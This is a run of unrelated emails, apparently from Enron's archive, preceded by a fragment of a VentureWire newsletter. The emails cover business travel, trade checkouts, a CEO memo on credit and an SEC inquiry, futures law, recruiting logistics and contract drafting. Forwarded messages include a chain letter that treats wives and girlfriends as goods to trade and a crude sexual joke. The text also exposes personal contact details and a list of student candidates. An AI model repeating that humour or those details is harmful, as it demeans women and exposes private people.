serve as the chairman of the company's board of directors. Mr. Cohan 
previously co-founded and was CFO of Andromedia and held positions with Chase 
Securities and JP Morgan Securities. The company said James A. Casella is its 
chief executive officer and vice chairman of the board. Mr. Cascella is the 
former CEO of PennNet, where he remains a director, and was an executive with 
International Data Group. Round1 has raised an undisclosed amount of funding 
from institutional investors. 
	http://www.round1.com
	
	Logistics.com Names New CEO and President
	
	BURLINGTON, Mass. (VENTUREWIRE) -- Logistics.com, an online transportation 
procurement and management technology firm, said it named John Lanigan as 
chief executive officer and Carl Drisko as president. Mr. Lanigan was 
promoted from his position as managing director and chief operating officer, 
and was formerly COO of Schneider National. Mr. Lanigan replaces founder 
Yossi Sheffi, who will remain as chairman of the board, and will return to 
the Massachusetts Institute of Technology, where he served as professor of 
engineering systems and director of the Center for Transportation Studies. 
Mr. Sheffi was on a leave of absence from the Institute. Mr. Drisko was 
promoted from his position of executive vice president of technology and 
product strategy. Prior to joining the company, Mr. Drisko was director of 
technology for Computer Sciences Corporation. Mr. Drisko replaces Gregg 
Borgeson, who is leaving th! e company as part of an agreement when Logistics 
acquired QuoteShip.com in June. Logistics.com is backed by Internet Capital 
Group.
	http://www.logistics.com
	
	Web Grocery Store Netgrocer Promotes VP to President
	
	NORTH BRUNSWICK, N.J. (VENTUREWIRE) -- Netgrocer.com, an online grocery and 
drug store that delivers to users, said it promoted Lisa Kent to president. 
Ms. Kent was formerly senior vice president and chief marketing officer for 
the company. She replaces Jim Chambers, who resigned. Prior to joining the 
company, Ms. Kent was executive director of e-ventures for the baby and 
children's franchise at Johnson & Johnson. The company is funded by Parmalat, 
Cendant Internet Group, and Sumner Capital.
	http://www.netgrocer.com
	
	?
	WebVestors Equity Partners Raises $20 Million in First Fund
	
	ORLANDO (VENTUREWIRE) -- WebVestors Equity Partners, a venture capital fund, 
said it has secured the initial closing of its first venture capital fund of 
$20 million. The company, a seed and early stage investor, said it might 
accept additional capital commitments from high net-worth individuals or 
institutions up to a maximum of $30 million by Dec. 31. WebVestors will focus 
its investment in wireless and broadband infrastructure, telecommunications, 
networking equipment and services, and software and information services. Ned 
Grace, the founder and former CEO of RARE Hospitality, is managing director 
of the WebVestors. Former vice president of Business Development for Walt 
Disney Parks and Resorts in Orlando, Steve Collins, is a partner in the 
firm.    
	http://www.webvestors.com
	
	?
	Jafco Taps Ex-FAC/Equities Executive for Managing Director
	
	BOSTON (VENTUREWIRE) -- Jafco Ventures, a venture capital firm that 
specializes in the IT industry, said it appointed Ullas Naik as managing 
director. Mr. Naik previously served as senior vice president and analyst in 
the technology research group at FAC/Equities. He was also the founding 
analyst of the First Albany/META Technolgoy Research project.
	http://www.jafco.com
	
	?
	Enamics
	
	NEW YORK (VENTUREWIRE) -- An item in yesterday's Venture Wire about first 
round funding for Enamics incorrectly listed the company's vice chairman Tom 
Trainer as current vice president and CIO of Citigroup. Mr. Trainer is no 
longer with Citigroup.
	
	I-Escrow
	
	NEW YORK (VENTUREWIRE) -- An item in yesterday's VentureWire about I-Escrow's 
latest round of funding confused whether several investors had previously 
invested in the firm. Major new strategic investors include SB Investment, a 
venture capital subsidiary of Sumitomo Bank Group; Trans Cosmos; Silicon 
Valley Bank; PacRim Venture Partners; and JAFCO Ventures. Returning investors 
Infinity Capital, U.S. Venture Partners, AIG Financial Products, and Red Rock 
Ventures also participated in the financing.  
	
	Faber Consulting
	
	NEW YORK (VENTUREWIRE) -- An article in VentureWire about Headstrong's 
acquisitin of Faber Consulting misstated the size of Faber Consulting's 
average project, due to incorrect information provided by the company. The 
average project size for Faber Consulting is $700,000 not $700 million.
	
	company index
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	Addition Systems, Advanced Numerical Methods, Affarsstrategerna, Albert-Inc, 
Alfalight, Aspire Solutions, Autodesk, AviaHealth, Broadstream.com, Broadview 
International, CES International, Cogency Semiconductor, Commerce.TV, Compaq 
Computer, Cosential, dbusiness.com, Deja.com, Desktop.com, Digital Media 
Campus, DuoCash, duoDesign, EDIT, ekiosk, Exenet Technologies, eZedia, 
Facility Information Systems, FreeBalance, govWorks.com, Half.com, Incanta, 
Interlynx Technology, iPass, Iskon Internet, Jafco America Ventures, Legerity
, Logistics.com, myutility.com, National Geographic, Netgrocer.com, 
Novica.com, Omneon Video Networks, OurHouse, Porivo Technologies, ProAct 
Technologies, ReadyRouter.com, RecordTV, Reef, Round 1, Scale Eight, Securant
, StoreBusters, SupplierInsight, Tavolo, Tribe, Visual Plant, WebVestors 
Equity Partners, White Rock Networks
	
	At Optix 2001, in February, in Pasadena...
	...the smartest people in the optical communications business
	will be gathered for THE industry event at the Ritz Carlton
	Huntington Hotel & Spa. Headliners include:
	
	* Joe Bass, VP & GM, Wavelength Routing Business Unit, Cisco
	* John Bowers, Director, Multidisciplinary Optical Switching
	Technology Center, UC Santa Barbara
	* Patrick Nettles, Chairman & CEO, Ciena
	* Don Smith, President, Optical Internet, Nortel Networks
	* Kerry Valhala, Professor, Applied Physics, Caltech
	
	Participation at this event is subject to approval and
	limited to senior executives involved in the optical
	communications industry. For your registration pack:
	http://www.optix2001.com/optix_reg.html?vw=200012133
	Optix2001 -- Toward the Photonic Internet
	February 11 - 14, 2001, Ritz Carlton Huntington Hotel & Spa,
	Pasadena, CA
	
	investor index
	top
	
	Accel Partners, Advanced Technology Ventures, ARCH Venture Partners, Audax 
Group, Autodesk Ventures, Capital One, Center Partners/ITV Partners, 
CenterPoint Venture Partners, Chase H&Q, CIBC Capital Partners, Citigroup 
Technology Ventures, Crocus Investment Fund, Digital Media Campus, Discovery 
Ventures, Dresdner Kleinwort Benson Private Equity, Fractal Capital , GATX/MM 
Venture Finance Partnership, Greenberg Traurig, Ignite Ventures, Intel 
Communications Fund, InterWe! st Partners, IPMG, J.P. Morgan Capital, Lucent 
Venture Partners, Manitoba Science and Technology Fund, Mayfield Fund, 
Meritech Capital Partners, Merrill Lynch, Milestone Venture Partners, 
Motorola, National Grid Group, New York City Investment Fund, Norwest Venture 
Partners, Oak Investment Partners, OCI Venture Group, Palo Alto Investors, 
Psilos Group, Sandler Capital, Silicon Alley Venture Partners, TAG Group, 
Telecom Partners, Telemedia Accelerator, The Infrastructure Co-Invest Fund, 
Thomas Weisel P! artners, United Distillers and Vinters, Venture Quest, 
VeriFone, WR Hambrecht & Co.
	
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		?

We are working on the details of Todd's accomodations.  I view this as a 
business trip on which we are allowing him to bring his family.  ENA is 
picking up the cost associated with the family.  Sounds as if I need to make 
sure we moderate expectations on those accomodations, but we will get that 
handled. 

That is great that Edith will be in London for part of Todd's stay.  

Your notes ask for Astros tickets for Wed., April 10th.  Monday is actually 
the 10th; Wednesday is the 12th.  The Astros play St. Louis on both of those 
days., both evening games.  I would be happy to give you four tickets for 
either one of those games.  Just let me know whether you actually want the 
10th or the 12th.  

We will definitely plan to get together while you are here in April.  I would 
love to see Jo as well.  We will have to work the details.  I am planning to 
be in London next week, arriving the morning of the 20th (Monday) and staying 
through Thursday, so we should see one another before April.  I am working on 
an agenda right now for next week, so I will be back in touch within the next 
day or so to confirm some time with you there.  --Sally 

Barry Pearce
03/13/2000 08:37 AM
cc:  
Subject: Todd & Things....

To recap.

1. I think Todd is going to be here on 25th March. HR eare sorting out 
accomodation for one month. Europe pay his costs, NA pick up family costs.

2. Spoke to Bernie A - Edith is going to be here for a week in the middle of 
Todd's month.

3. I'll be in Houston w/c 8th April - lets get together then for an update. 
Though I believe you may be here sooner than that?

4. Astros' - any chance of tickets for Wed 10th (v St Louis). I guess - to be 
extra cheeky - can I have 4 - to take Jo and kids? No problem if that's not 
possible.

Talk soon. 

B.

Kim,  

Will you please get with Mary Smith and Trisha Hughes with the Texas Rates 
group
and pick up from them the off system pipeline rates that they are handling.

You may want to visit with Daren Farmer also about the level of activity.

We need to transition this work to your team as soon as possible.

thanks

bob

Might close on the letter agreement today.  You didn't miss much - mostly 
negotiations with GE re: change orders. Our tax guys are happy, and 
Accounting is hanging in there.  We have revised the payment schedule in the 
doc, but NW doesn't have the change.  I'll send it to you.  The change is 
minor.  I need to revise the assignment/assumption agreement, then we'll be 
ready to go when GE signs up to the CO's.

Kay

Chris just entered these deals.

04/17/2001 01:58 PM
cc:  

Subject: 4/17 checkout

BLOOMBERG
All deals are o.k.  

PREBON WEST

Jeff Richter/Chris Mallory
I am missing:
1) Enron sells to Calpine 25 mw of Q3'01 SP at $380
2) Enron buys from Reliant 25mw of Q3'01 Sp at $379

All deals are o.k.

We are trying to decide what to do this weekend and wondered (with fond 
memories of last year in mind) what you guys had planned.....

Please calendar for me.
---------------------- Forwarded by Kay Mann/Corp/Enron on 05/31/2001 06:53 
From: Kayne Coulter/ENRON@enronXgate on 05/31/2001 05:21 PM
To: Lloyd Will/ENRON@enronXgate, Tom May/ENRON@enronXgate, Jeffrey 
Miller/ENRON@enronXgate, Gerald Gilbert/ENRON@enronXgate, Clint 
Dean/ENRON@enronXgate, Jeff Wolfe/ENRON@enronXgate, Reagan 
Rorschach/ENRON@enronXgate, David Fairley/ENRON@enronXgate, Jennifer 
Bagwell/ENRON@enronXgate, Elizabeth Johnston/ENRON@enronXgate, Billy 
Braddock/ENRON@enronXgate, Miguel L Garcia/ENRON@enronXgate, Juan 
Hernandez/ENRON@enronXgate, Juan Padron/ENRON@enronXgate, Don 
Baughman/ENRON@enronXgate, Edward D Baughman/ENRON@enronXgate, John 
Kinser/ENRON@enronXgate, Dustin Collins/ENRON@enronXgate, Dean 
Laurent/ENRON@enronXgate, Corry Bentley/ENRON@enronXgate, Laura 
Podurgiel/ENRON@enronXgate, Gretchen Lotz/ENRON@enronXgate, Andrea 
Dahlke/NA/Enron@ENRON, Tamara Jae Black/ENRON@enronXgate, Lisa 
Shoemake/ENRON@enronXgate, Claudia Guerra/ENRON@enronXgate, Amy 
Ochoa/ENRON@enronXgate, Christi L Nicolay/HOU/ECT@ECT, Kay 
Mann/Corp/Enron@Enron, Jim Meyn/ENRON@enronXgate, Smith L 
Day/ENRON@enronXgate, Rebecca M Grace/ENRON@enronXgate, Thresa A 
Allen/ENRON@enronXgate
cc:  

Subject: MDEA PRESENTATION

 On Tuesday June 5th in room 3125B from 4:00 - 5:00 P.M.,  we will be having 
a presentation on the MDEA delphi application and website that will help 
consolidate our procedures.  We will also have a happy hour from 5-8 p.m. at 
the Front Porch Pub.

Thanks

This has been a tough couple of weeks.  I hope that these daily communications on new developments are helping you understand what's happening with our company.

Here's a rundown of events from last week:

	We executed a commitment letter with JPMorgan and Salomon Smith Barney that will provide us with additional secured credit lines worth $1 billion.  Our Northern Natural Gas Company and Transwestern Pipeline Company will support these assets.  We now have received a total of $4 billion in credit lines, which we will use to pay off short-term commercial debt and maintain liquidity.
	Our Board of Directors elected a new member to the Board - William Powers, Jr., the dean of The University of Texas School of Law in Austin, Texas.
-	The Board also established a Special Committee, to be chaired by Dean Powers, that will conduct an in-depth review of the transactions between Enron and entities connected to related parties.  The committee is authorized to take any actions it deems appropriate.
	The Securities & Exchange Commission (SEC) opened up a formal investigation into related party transactions that have been the subject of media reports and the subject of the SEC's formal inquiry.  As I've said before, we welcome this and look forward to working with the SEC to put this matter behind us.
      Moody's lowered our credit rating one level, from Baa1 to Baa2.  Standard & Poor's (S&P) lowered our credit rating one level, from BBB+ to BBB.  Fitch lowered our rating from BBB+ to BBB-.  All agency ratings are investment grade.

Even with what's happening with our company, we have kept running our business as usual, and here's few examples to show you that we are, indeed, doing just that:

	EnronOnline did 5,866 transactions with 302 counterparties on Friday.  Transaction counts remain higher than average.
	EES signed a three-year fixed price agreement with Home Depot to supply power to 115 of its stores in California and 68 stores across Texas.  EES also has exclusive rights to develop energy management proposals for all Home Depot facilities west of the Mississippi.
      EES also signed a three-year energy management agreement with Memorial Sloan-Kettering Cancer Center's four New York City facilities.

Serious issues have been raised in the media and investment community that have put our credibility and reputation as a company in question.  We're taking an introspective look at our business dealings, our core values and our organization as a whole.  We're doing everything we can to deal with the issues that are affecting our company.

And that's where you come in.  Look around you.  Look at the excellence that you and your team represents.  That's the reason we hired you - you're the best.  Now, more than ever, work for Enron and especially for each other.

Thank you for your continuing support of our company and each other.

Here is your conversation with my revisions marked (deletions struck through, 
insertions in bold).  Hope this helps but feel free to call or write with any 
questions or comments:

A:   The CFTC regulates futures contracts and certain kinds of option 
contracts.  
SP:  What's a futures contract?
A:  It is a contract for the sale of a certain kind of  commodity through a 
regulated  exchange.
SP:  How is the contract different than a non-futures contract?
A:  Ahem,   just for your information, we call the non-futures contracts 
forward or over the counter contracts.  The big difference is that the 
forward contract does not must go to delivery while futures contracts do not.
SP:  I though the futures contracts went to delivery.  I remember getting all 
messed up on the gas side with delivery of NYMEX futures gas at the Henry 
Hub, and what about those stories of a guys getting a load of soy beans 
dumped in their front yards?
A:  Well, er,  yes they do sometimes  go to delivery, but they are not really 
supposed to relatively few of them go to delivery.  They are supposed to  
more frequently (actually the vast majority of the time) net out as financial 
transactions.  It's that option of settling financially that distinguishes 
the futures contract.
SP:  Well lets get to the point,  why are physical buy sells so bad?
A:  That's easy.  Because they look like futures contracts.  They are not 
intended to go to delivery.  And if you are trading in futures contracts you 
are supposed to be doing it on a CFTC regulated exchange. 
SP:  So what you are saying is that if we deliberately net out our physical 
deals and never intend to even try to schedule delivery under them we are 
trading in futures contracts and could be subject to regulation by the CFTC?
A:  You've got it.  But it's even worse than that - federal law says that a 
futures contract which is not traded on a regulated exchange is illegal: not 
only could the CFTC come after you but your counterparties could use that law 
against you to get out of performing.  So you can think of each contract like 
that as having written a free option.
SP:  Well how much physicality do we have to have to make it a forward 
contract?
A:  What do you mean?
SP:  Well, if we settled physically one day a month but financially the other 
29 days, would we have a futures contract?
A:  Oh for Christ's sake I've had it.   I'm telling you once and for all that 
physical buy sells are futures contracts and you can't do them now get the 
hell out of my office!--

Is this the basic idea and if so,  how much can we blend physical into it to 
cross the line into the domain of the forward contract?  --Christian 

Basically, yes.  A lot has to do with the look and feel of the thing but also 
the parties' intentions.  If we do not intend to make and take delivery, if 
we intend to settle financially - or even intend to just have the option to 
settle financially, we have a problem.  The closest thing we have to an 
exception to this is the provision for cover damages when one party fails to 
deliver.  That is a provision in the contract that might be argued gives one 
party the right to settle financially just by failing to perform.  We argue 
that this is still a forward and not a future because the parties in good 
faith intend initially that delivery will be made and a default occurs when 
there is a failure to make or take delivery.  Unfortunately, in the power 
world a large percentage of contracts may in fact get booked out.  However, 
each party enters into those contracts knowing that they have an obligation 
to make or take delivery and the book-outs may or may not happen - we do not 
enter into those contracts knowing that they will be booked out.  The 
book-outs occur after the fact by mutual agreement at the time of the 
book-out.  In fact, if we didn't want to book them out, we could stand on our 
legal rights and require all of our counterparties to make and take delivery 
(although I assume this might not go over well with many of them or with our 
scheduling desk if a book-out would be more convenient at the time).

---------------------- Forwarded by Eric Bass/HOU/ECT on 05/01/2000 05:12 PM 

"Brett Lawler" <brettlawler@hotmail.com> on 05/01/2000 04:50:27 PM
To: c_keels@hotmail.com, John9375@aol.com, CHMARGAU@aol.com, srhea@acm.org, 
Eric Bass/HOU/ECT@ECT
cc:  
Subject: Fwd: Fw: Something different for men.

>From: "morris jones" <fishinmojo@worldspy.net>
>To: "Big Wilbur" <big-wilbur@austin.rr.com>, "MONTY  WEEKS"
><MWFLATLINE@prodigy.net>, "John Steiert" <damnluck@swbell.net>, "Spillar,
>Steve" <mrmax40@hotmail.com>, "Short, Michael J" <becitr@yahoo.com>,
>"Dwayne Shellhammer" <sjammer@worldspy.net>, "John Schofield"
><jschofield@tcainternet.com>, "Will Rub" <warub@swbell.net>, "Matthew Rub"
><widget003@hotmail.com>, "RD" <sabbath@ev1.net>, "Cecil Poe"
><crp934@ijntb.net>, "Palumbo, Donald" <hardhead@2coolfishing.com>, "Barry
>Mullin" <bnmullin@pnx.com>, "Gary Monday" <lowtide@swbell.net>, "Shane
>Miller" <shane.miller@sematech.org>, "Mike McBride" <mctrout1@yahoo.com>,
>"Doug Marshall" <dpmarsh@flash.net>, "Brett Lawler"
><brettlawler@hotmail.com>, "LaHue, Robert" <RLaHue@HCCEB.com>, "JettyCat"
><fishingjettycat@yahoo.com>, "Vernon Hooks" <rhooks@txcr.net>, "Aaron
>Hommel" <ahommel@ijnt.net>, "Mike Henderson" <hendmt@swbell.net>, "John
>Handley" <johnhandley79@hotmail.com>, "Mike Greene" <SILABYSS@aol.com>,
>"Roy V. Clark" <rvclark@koan.com>, "Allan Carruthers" <al@alsfish.net>,
>"Saul Carrillo" <SXCARRIL@CORPSMTP.sch.org>, "Jeff Campbell"
><jiw479@worldspy.net>, "BREW" <BREWMAN980@aol.com>, "Johnny Breed"
><txfyrfitr@aol.com>, "BeachBum" <BeachBum2@earthlink.net>, "Earnie Bayard"
><MBBayard@aol.com>, "Darrel Barr" <darbarr@mastnet.net>, "Paul Allen"
><pallen3reb@aol.com>, "Marc Adams" <madams@ev1.net>
>Subject: Fw: Something different for men.
>Date: Sat, 29 Apr 2000 10:14:00 -0500
>
>
>FromSent: Saturday, April 29, 2000 9:46 AM
>Subject: Something different for men.
>
>
> > >Discouraged Men Chain Letter...
> >  >
> >  >This letter was started in hopes of bringing relief to other tired and
> >  >discouraged men.  Unlike most chain letters, this one does not cost
> >  >anything.
> >  >
> >  >Just send a copy of this letter to five of your friends who are
>equally
> >  >tired and discontented.  Then bundle up you wife or girlfriend and
>send
> > her
> >
> >  >to the man whose name appears at the top of this list, and add your
>name
> > to
> >
> >  >the bottom.  When your turn comes, you will receive 16,255 women. One
>of
> >  >them is bound to be better than the one you already have.  At the time
>of
> >  >writing this, a friend of mine had already received 184 women,  4 of
>whom
> >  >were worth keeping.
> >  >
> >  >Remember - this chain brings luck.  One man's cat died, and the next
>day
> > he
> >
> >  >received a Dallas Cowboy cheerleader.
> >  >
> >  >You can be lucky too, so DO NOT BREAK THIS CHAIN!  One man broke the
>chain
> >  >and got his own wife/girlfriend back.
> >  >
> >  >Good Luck !!!!!!
> >
>

Dinner Team Itinerary

Date:    Friday, October 27, 2000

Restaurant: La Columbe d=01,Or
  3410 Montrose
  713-524-7000

Cocktails:  7:30 PM

Dinner:       8:30 PM =01) 10:30 PM

Table No. 6

If you have any questions, please contact Julie Braly, 713-853-7351.

Thank you for your participation in this important recruiting event.  Pleas=
e=20
bring your business cards.

Executive Host:  Hector Gutierrez

Associate/Analyst Co-host: Masha Arefieva, Ben Rogers

Dinner Details:

All Super Saturday candidates will be arriving at the restaurant by shuttle=
.=20
A member of the Associate and Analyst Program staff will greet them.  This=
=20
staff member will also be there to assist you.  All hosts and co-hosts are=
=20
invited to ride the shuttle or you may provide your own transportation to t=
he=20
restaurant.

There will be a short cocktail reception prior to dinner. During the=20
reception, you will have the opportunity to meet many of the candidates.  A=
=20
table has been reserved in the Executive Host=01,s name.  Students will not=
 have=20
seating assignments this year.  The hosts should feel free to invite up to=
=20
four students to sit at their table if desired. =20

Dress for the evening is business attire.  Hosts are no longer responsible=
=20
for the bill.=20

In case of emergency, contact Julie Braly, Director, Career Development,=20
Associate & Analyst Program, 713-853-7351 (Office), 713-306-4996 (Cell Phon=
e).

If you would like to provide feedback on any candidate, an evaluation form =
is=20
attached or you may discuss your input with the Associate and Analyst staff=
=20
member after dinner. The evaluation form must be faxed to 713-646-5935, pri=
or=20
to 12:00 p.m. on Saturday to be included in the decision meeting.  =20

Candidates Attending:

             NAME=09SCHOOL
1. Dawn Armfield=09Michigan
2. Jeffrey Foutz=09Michigan
3. Nitin Mantri=09Michigan
4. Pedro Porfirio=09Michigan
5. Luis Rivero=09Michigan
6. Stephen Tillack=09Michigan
7. Carlos Watanabe=09Michigan
8. Kengo Watanabe=09Michigan
9. Seshadri Raghavan=09Michigan
10. Emel Akan=09Georgetown
11. Robert Barran=09Georgetown
12. Teseo Bergoglio=09Georgetown
13. Juan Canavati=09Georgetown
14. David Folsum=09Georgetown
15. Jason Jennaro=09Georgetown
16. Jason Kuuskraa=09Georgetown
17. Yoselyn Malamud=09Georgetown
18. Sandra May=09Georgetown
19. Bernadette Michaud=09Georgetown
20. Enrique Velasco=09Georgetown
21. James Willis=09Georgetown
22. Calvin Xu=09Georgetown
23. Kin Tso=09UT
24. Jonathan Mueller=09UT
25. Nadeem Abdullah=09UT
26. JaCee Burnes=09UT
27. Scott Connor=09UT
28. Thomas Dalton=09UT
29. Jeremy Giles=09UT
30. Stephen Hutcheson=09UT
31. Chris Matthew=09UT
32. Niraj Parikh=09UT
33. Todd Preheim=09UT
34. Monique Salazar=09UT
35. Cheryl Sirna=09UT
36. Roman Stephens=09UT
37. Dapeng Xu=09UT
38. Daniel Zhang=09UT
39. Yaguin Zhou=09UT
40. Eric Stedman=09Rice
41. Lynn Navareth=09Rice
42. Shauywn Smith=09Rice
43. Mark Pearson=09Rice
44. Grant Johnson=09Rice
45. Rishad Patel=09Rice
46. Carlos Weelock=09Rice
47. Elena Chlikina=09Rice
48. Vikram Abhyankar=09Thunderbird
49. David Adams=09Thunderbird
50. Nicole Affeldt=09Thunderbird
51. Julio Polanco Fitzgerald=09Thunderbird
52. Damon Johnson=09Thunderbird
53. Sebastian Szendzielors=09Thunderbird

 =20

---------------------- Forwarded by Tori Kuykendall/HOU/ECT on 12/18/2000 

"Rachel Haygood" <RHAYGOOD@Mail.Darbylaw.com> on 12/15/2000 08:38:32 AM
To: <safety904@aol.com>, <sgtbud20@aol.com>, <sjohnston@bankofny.com>, 
<kierag@bcbg.com>, <tkuyken@enron.com>, <akratish@gscpartners.com>, 
<emi3c@hotmail.com>, "Ethan Horwitz" <EHORWITZ@Mail.Darbylaw.com>, "Paul 
Fehlner" <PFEHLNER@Mail.Darbylaw.com>, "Terence Hogan" 
<THOGAN@Mail.Darbylaw.com>, <Dawn_Coleman@moma.org>, 
<lellingh@surgery.med.cornell.edu>
cc:  
Subject: Warning Mildly Offensive But Funny As Hell

Thirsty Cowboys:

Two cowboys from Texas walk into a roadhouse to wash the trail dust from 
their throats. They stand at the bar, drinking their beers and talking 
quietly about cattle prices.

Suddenly a woman at a table behind them, who had been eating a sandwich, 
begins to cough. After a minute or so it becomes apparent that she is in real 
distress, and the cowboys turn to look at her.

"Kin ya swaller? asks one of the cowboys.

No, the woman shakes her head.

"Kin ya breathe?" asks the other.

The woman, beginning to turn a bit blue, shakes her head No again. The first 
cowboy walks over to her, lifts up the back of her skirt, yanks down her 
panties, and slowly runs his tongue from the back of her thigh up to the 
small of her back.

This shocks the woman to a violent spasm, the obstruction flies out of her 
mouth, and she begins to breathe again.

The cowboy walks back over to the bar and takes a drink of his beer. His 
partner says, "Ya know, I'd heard of that there Hind Lick Maneuver, but, I 
never seen anybody do it."

This path just looks like it will be cut........... please take a moment to 
look at it.

Also,

It is very important that you document when you cannot Reach Morgan Stanley's 
real time.  An e-mail will do, send it to me.

Sue, Mona, and Dasovich--

Would one of you be available for about 30 mins or so tomorrow p.m. (Thurs)=
=20
to square away this issue (maybe around 3 or 4 or so)?  My recollection of=
=20
our original contract language was to capture all of the post-transition=20
period CTCs as set forth in AB1890, so maybe we just need to broaden or=20
clarify what we mean by "residual CTCs".  I'll actually be at 101 Cal=20
starting in the p.m. tomorrow, so this could work out pretty well. =20
Otherwise, I'll be in SR on Friday and then in SoCal next week but back in=
=20
SFO on next Weds for a two day LSI seminar (Dasovich you're speaking at it?=
)=20
Thurs and Fri so we could discuss then too.

Sorry for the short notice and I hope I'll at least be able to say hi to=20
everyone tomorrow.

Andy

---------------------- Forwarded by Andrew Wu/HOU/EES on 10/25/2000 08:14 A=
M=20

Edwin Essandoh
10/24/2000 02:41 PM
To: Tim Carter/HOU/EES@EES, Andrew Wu/HOU/EES@EES
cc: =20
Subject: Re: CTC definition

Sorry Guys, should have cc'd you.

Ed
---------------------- Forwarded by Edwin Essandoh/HOU/EES on 10/24/2000=20
02:40 PM ---------------------------

10/24/2000 02:27 PM
To: Roger Yang/SFO/EES@EES, Susan J Mara/SFO/EES@EES, Jeff=20
Dasovich/NA/Enron@Enron, Mona L Petrochko/NA/Enron@Enron
cc: =20
Subject: Re: CTC definition =20

Roger,=20
Thanks for the input.  It does need some refinement.  For that matter, do y=
ou=20
consider the definition of "CTC charges" adequate?  Andy Wu is going to be =
in=20
San Francisco on Thursday, and has agreed to discuss the language with Susa=
n,=20
Jeff and/or Mona in Gov't Affairs.

Ed

Roger Yang
10/24/2000 01:19 PM
To: Edwin Essandoh/HOU/EES@EES
cc: Susan J Mara/SFO/EES@EES, Jeff Dasovich/NA/Enron@Enron, Mona Petrochko=
=20
Subject: Re: Contract for Gart Sports =20

Attached is a version of AB1890.  I refer you to pages 31 through 36 which=
=20
discusses Sections 367 through 368.

Residual CTCs may have two connotations.  The first connotation is the type=
=20
of CTC recovery during the rate freeze period.  For example, the California=
=20
IOUs bill customers based on frozen rates.  From those frozen rates, delive=
ry=20
and procurement costs are subtracted.  What is left over residually is the=
=20
recovery of CTCs.  The interpretation that you are implementing is the CTCs=
=20
that are recovered after the frozen rate period.  Due to these two possible=
=20
interpretations, I believe that either the term "residual CTCs" needs to be=
=20
defined or a better definition of the "Pre-Rolloff Period" and "Post-Rollof=
f=20
Period."

After reading the cites that I referred to above, if you believe the=20
definition incorporates the guidelines implemented through Sections 367 and=
=20
368, then I will be comfortable with the current language.  My concern was=
=20
that the CPUC may adopt changes to the recovery plan per Section 368 that=
=20
would disadvantage ESPs and DA customers, and only benefit and protect=20
Standard Offer customers.  Pursuant to Section 368, the IOUs implemented co=
st=20
recovery plans to recover costs that meet the criteria in Section 367.  I a=
m=20
worried that customers may be confused by plans that may be implemented in =
a=20
the Post-Rolloff periods that may look like the original cost recovery plan=
s=20
(i.e. SDG&E's rate cap).

You can contact Susan Mara, Jeff Dasovich, or Mona Petrochko in Government=
=20
Affairs for better clarification if needed.

10/24/2000 09:21 AM
To: Tim Carter/HOU/EES@EES
cc: Roger Yang/SFO/EES@EES=20

The reference to "but not including any extension pursuant to Section=20
3(g)(ii)" should have been deleted from the contract.   It was in a previou=
s=20
contract which provided for an extension period, but is not applicable here=
. =20

Tim:  We could forward corrected page to customer, but I agree that it may=
=20
not be necessary as it does not add anything but may unnecessarily alarm=20
Customer.

Roger:   Can you suggest a definition you'd be comfortable with, which=20
references the code section  - I have not seen the code, but your point is=
=20
valid (although I was under the impression "residual CTC's" is understood i=
n=20
the industry, and the second issue (as raisesd by Tim previously) would be =
to=20
maek sure an amendment to AB 1890 does not extend the Pre-Rolloff Period.

My initial suggestion would be along the lines of:

    =01&Pre-Rolloff Period=018 shall mean, with respect to each Facility, t=
he=20
period of time commencing with the=20
    Effective Date and ending on the last day the UDC for such Facility is=
=20
authorized to collect CTCs (other than residual CTCs=20
    it remains authorized to collect after said date) in its service=20
territory under AB1890 (as in effect on the Effective Date), but in      an=
y=20
event not later than March 2002.

Ed
   =20

=09Enron Energy Services
=09
=09From:  Tim Carter                           10/24/2000 10:15 AM
=09Phone No: tel:  713-853-5496
  fax:  713-646-3284
  pgr:  888-620-2350
=09

cc: =20
Subject: Contract for Gart Sports

Ed, please see comments below regarding the Gart Sports contract.  How shou=
ld=20
we handle?
---------------------- Forwarded by Tim Carter/HOU/EES on 10/24/2000 10:15 =
AM=20

Roger Yang
10/23/2000 04:19 PM
cc: Scott Stoness/HOU/EES@EES=20
Subject: Re: DASH for Gart Sports =20

Tim,

Thanks for forwarding me the contract.  In Section 3(a), there is a=20
definition for "Post-Rolloff Period" which states, "shall mean, with respec=
t=20
to each Facility, the period of time commencing with the day after the last=
=20
day of the Pre-Rolloff Period.....but not including any extension period=20
pursuant to Section 3(g)(ii).  The problem is that I cannot find Section=20
3(g)(i) in the contract.

Further, the definition of "Pre-Rolloff Period" which states, "...ending on=
=20
the last day the UDC for such Facility is authorized to collect CTCs (but=
=20
excluding residual CTCs) in its service territory under AB1890," is=20
ambiguous.  There are two possible solutions.  One possible solution is to=
=20
define the term "residual CTCs".  Another solution is to redraft the langua=
ge=20
to be more specific referencing the PU Codes Section 367 and 368 enacted by=
=20
AB1890.

Roger

=09
=09From:  Tim Carter                           10/19/2000 02:21 PM
=09

To: Roger Yang/SFO/EES@EES

You are correct regarding the impact to the mark if the transition period=
=20
ends differently than we expect.

The contract specifies that the transition period ends in accordance with=
=20
AB1890, as noted in the attatched Gart contract.  We have, however,=20
instructed the attorney to change the contract template to also specify tha=
t=20
under no circumstances is the transition period to be later than 3/2002.  I=
=20
have not received a version of that contract.

Roger Yang
10/19/2000 04:10 PM

I like this deal structure because it provides a hedge for our current book=
=20
in California.  Correct me if I am wrong, but if the end of the transition=
=20
period ends earlier than priced, then our mark for this deal should increas=
e=20
because we are providing the discount off the frozen bundled price for a=20
shorter period than expected.  Conversely, if the rate freeze ends later th=
an=20
how we priced it, then the mark for this deal will decrease because we will=
=20
have provided a discount off of the frozen tariff for a period longer than =
we=20
had priced.  This impact on the mark is converse to the current risk profil=
e=20
of our California portfolio.

My main concern is the contract language on how the transition period is=20
defined.  It is important that this language is crafted to leave no loose=
=20
ends.  Can you please send me a copy of the clauses that define the end of=
=20
the transition period, which is a critical date because the delivery risks=
=20
hinge on that definition.  I just want to do some preventative maintenance,=
=20
such that we do not enter contract dispute over this issue in the future. =
=20
However, we may proceed signing this contract if necessary.  I would just=
=20
like to follow up on the issue for future deals if it is too late for this=
=20
deal.  As a matter of fact, I would not even try to change the contract=20
language on this deal because the customer may become overly concern.

I recommend that Scott signs the DASH for Gart Sports for now.

Roger

=09
=09From:  Tim Carter                           10/19/2000 08:16 AM
=09

cc: =20
Subject: DASH for Gart Sports

Roger, I think Valerie tried to fax this to you.  Here's an electronic copy=
. =20
Take a look, if you have any questions, please call me.

Thanks,
Tim

Ben -  

The Schedule of Personal Property unmarked document you requested is provided 
below.

Regards,
-Pat

---------------------- Forwarded by Jon Cathers/Corp/Enron on 12/08/2000 
